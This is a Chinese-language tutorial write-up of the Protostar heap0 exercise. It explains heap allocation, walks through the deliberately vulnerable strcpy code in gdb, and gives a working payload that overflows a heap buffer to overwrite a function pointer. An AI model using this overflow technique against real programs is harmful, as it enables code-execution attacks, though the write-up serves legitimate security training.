二进制安全虚拟机Protostar靶场(5)堆的简单介绍以及实战 heap0

news/2024/5/20 0:06:03 标签: 安全, 二进制安全, ctf, pwn,

在这里插入图片描述

前言

这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章

什么是

是动态内存分配的区域,程序在运行时用来分配内存。它与栈不同,栈用于静态分配内存,并且具有固定的大小

程序使用如malloc、calloc、realloc等函数在上动态分配内存。当内存不再需要时,使用free函数释放。
例如:

int main(int argc, char **argv)
{
  struct data *d;
  d = malloc(sizeof(struct data));
}

通过malloc函数分配的地址:

在这里插入图片描述

接下来就用实战来讲解的运作机制

heap 0

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {  #定义了一个名为data的结构体
  char name[64];  #包含一个64字节大小的字符数组name
};

struct fp {  #定义了一个名为fp的结构体
  int (*fp)();  #包含了一个函数指针fp
};

void winner()  #自定义函数winner
{
  printf("level passed\n");  #输出level passed
}

void nowinner()  #自定义函数nowinner
{
  printf("level has not been passed\n");  #输出level has not been passed
}

int main(int argc, char **argv)  #主函数,从命令行获取参数
{
  struct data *d;  #声明了一个指向 struct data 类型结构体的指针 d
  struct fp *f;  #声明了一个指向 struct fp 类型结构体的指针 f

  d = malloc(sizeof(struct data));   #给data结构体分配内存
  f = malloc(sizeof(struct fp));  #给fp结构体分配内存
  f->fp = nowinner;  #fp结构体中的函数指针初始化为指向nowinner函数

  printf("data is at %p, fp is at %p\n", d, f);  #输出data和fp结构体的内存地址

  strcpy(d->name, argv[1]);  #strcpy函数将命令行提供的第一个参数,复制到data结构体的name数组中
  
  f->fp();  #调用函数指针指向的函数nowinner

}

漏洞发生在strcpy函数处,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数

我们先在第一个malloc函数调用的地方下一个断点,然后执行到断点处,来看看是怎么运行的

在这里插入图片描述

现在停在了malloc函数处,还没有执行该指令,可以看到程序空间里是没有

在这里插入图片描述

输入n执行malloc函数,再次查看程序空间

在这里插入图片描述

可以看到,多出了一个heap空间,也就是,地址是0x804a000-0x806b000,我们查看这个空间里的数据

在这里插入图片描述

现在里只有两个数据,0x49-1,0x48是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个中保存数据是,为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0

在这里插入图片描述

在这里插入图片描述

name函数大小设置的是64字节,为什么程序给我们分配了72字节的空间,其实是这样算的

在这里插入图片描述

程序还将前面保留的四个字节空闲空间和本身表示大小的空间算进去了

而最后的0x20fb9,表示整个栈空间的大小,我们在程序执行strcpy函数的地方下一个断点,这个地方是程序将我们输入的值存入里的地方

在这里插入图片描述

我们重新运行程序,输入A,执行strcpy函数的指令,再在查看栈空间

在这里插入图片描述
在这里插入图片描述

程序已经将我们输入的8个A的十六进制值放入了,并且下面还有第二个mallco函数的空间

在这里插入图片描述

而这个0x8048478则是nowinner函数地址

在这里插入图片描述

前面说过,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数,我们输入76个字符就能完整覆盖nowinner函数地址,控制程序跳转的地址

python -c "print('A'*72 + 'B'*4)"

在这里插入图片描述

重新打开gdb,然后运行

在这里插入图片描述

这里程序提示跳转到了0x42424242的地址,也就是我们输入的BBBB,这时我们查看空间

在这里插入图片描述

我们已经将nowinner函数地址给覆盖了

在这里插入图片描述

我们将BBBB改为winner函数地址,就成功破解了程序

在这里插入图片描述

我们可以使用echo工具来输入不可见字符

./heap0 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\x84\x04\x08"`"

在这里插入图片描述

在这里插入图片描述

成功跳转到winner函数

是一个很难的部分,为了方便入门,这篇文章只是简单的介绍了一些的运作机制,之后的文章再慢慢介绍其他的机制


http://www.niftyadmin.cn/n/5351218.html

相关文章

服务攻防-开发组件安全JacksonFastJson各版本XStreamCVE环境复现

知识点 1、J2EE-组件Jackson-本地demo&CVE&#xff08;数据处理&#xff09; 2、J2EE-组件FastJson-本地demo&CVE&#xff08;数据处理&#xff09; 3、J2EE-组件XStream-本地demo&CVE&#xff08;数据处理&#xff09; 章节点&#xff1a; 1、目标判断-端口扫描…

C++力扣题目416--分割等和子集 1049--最后一块石头的重量II

416. 分割等和子集 力扣题目链接(opens new window) 题目难易&#xff1a;中等 给定一个只包含正整数的非空数组。是否可以将这个数组分割成两个子集&#xff0c;使得两个子集的元素和相等。 注意: 每个数组中的元素不会超过 100 数组的大小不会超过 200 示例 1: 输入: […

力扣日记1.28-【回溯算法篇】93. 复原 IP 地址

力扣日记&#xff1a;【回溯算法篇】93. 复原 IP 地址 日期&#xff1a;2023.1.28 参考&#xff1a;代码随想录、力扣 93. 复原 IP 地址 题目描述 难度&#xff1a;中等 有效 IP 地址 正好由四个整数&#xff08;每个整数位于 0 到 255 之间组成&#xff0c;且不能含有前导 0&…

检测头篇 | 原创自研 | YOLOv8 更换 SEResNeXtBottleneck 头 | 附详细结构图

左图:ResNet 的一个模块。右图:复杂度大致相同的 ResNeXt 模块,基数(cardinality)为32。图中的一层表示为(输入通道数,滤波器大小,输出通道数)。 1. 思路 ResNeXt是微软研究院在2017年发表的成果。它的设计灵感来自于经典的ResNet模型,但ResNeXt有个特别之处:它采用…

【极数系列】Linux环境搭建Flink1.18版本 (03)

文章目录 引言01 Linux部署JDK11版本1.下载Linux版本的JDK112.创建目录3.上传并解压4.配置环境变量5.刷新环境变量6.检查jdk安装是否成功 02 Linux部署Flink1.18.0版本1.下载Flink1.18.0版本包2.上传压缩包到服务器3.修改flink-config.yaml配置4.启动服务5.浏览器访问6.停止服务…

GD32F303,GD32F103中文手册

GD32F303,GD32F103中文手册 链接&#xff1a;https://pan.baidu.com/s/1-bOHMwUuhduI1GHNxT4P7A?pwdct44 提取码&#xff1a;ct44链接&#xff1a;https://pan.baidu.com/s/1-bOHMwUuhduI1GHNxT4P7A?pwdct44 提取码&#xff1a;ct44

STM32控制DS18B20温度传感器获取温度

时间记录&#xff1a;2024/1/28 一、DS18B20温度传感器介绍 &#xff08;1&#xff09;测温范围-55℃~125℃&#xff0c;在-10℃到85℃范围内误差为0.4 &#xff08;2&#xff09;返回的温度数据为16位二进制数据 &#xff08;3&#xff09;STM32和DS18B20通信使用单总线协议…

MFC 对话框架构

目录 Win32对话框回顾 对话框架构 无模式对话框架构程序执行过程 Win32对话框回顾 MFC框架中都是无模式对话框&#xff0c;不会阻塞&#xff0c;先回顾一下无模式对话框的创建&#xff1a; 添加对话框资源查找资源&#xff0c;FindResource加载资源&#xff0c;LoadResour…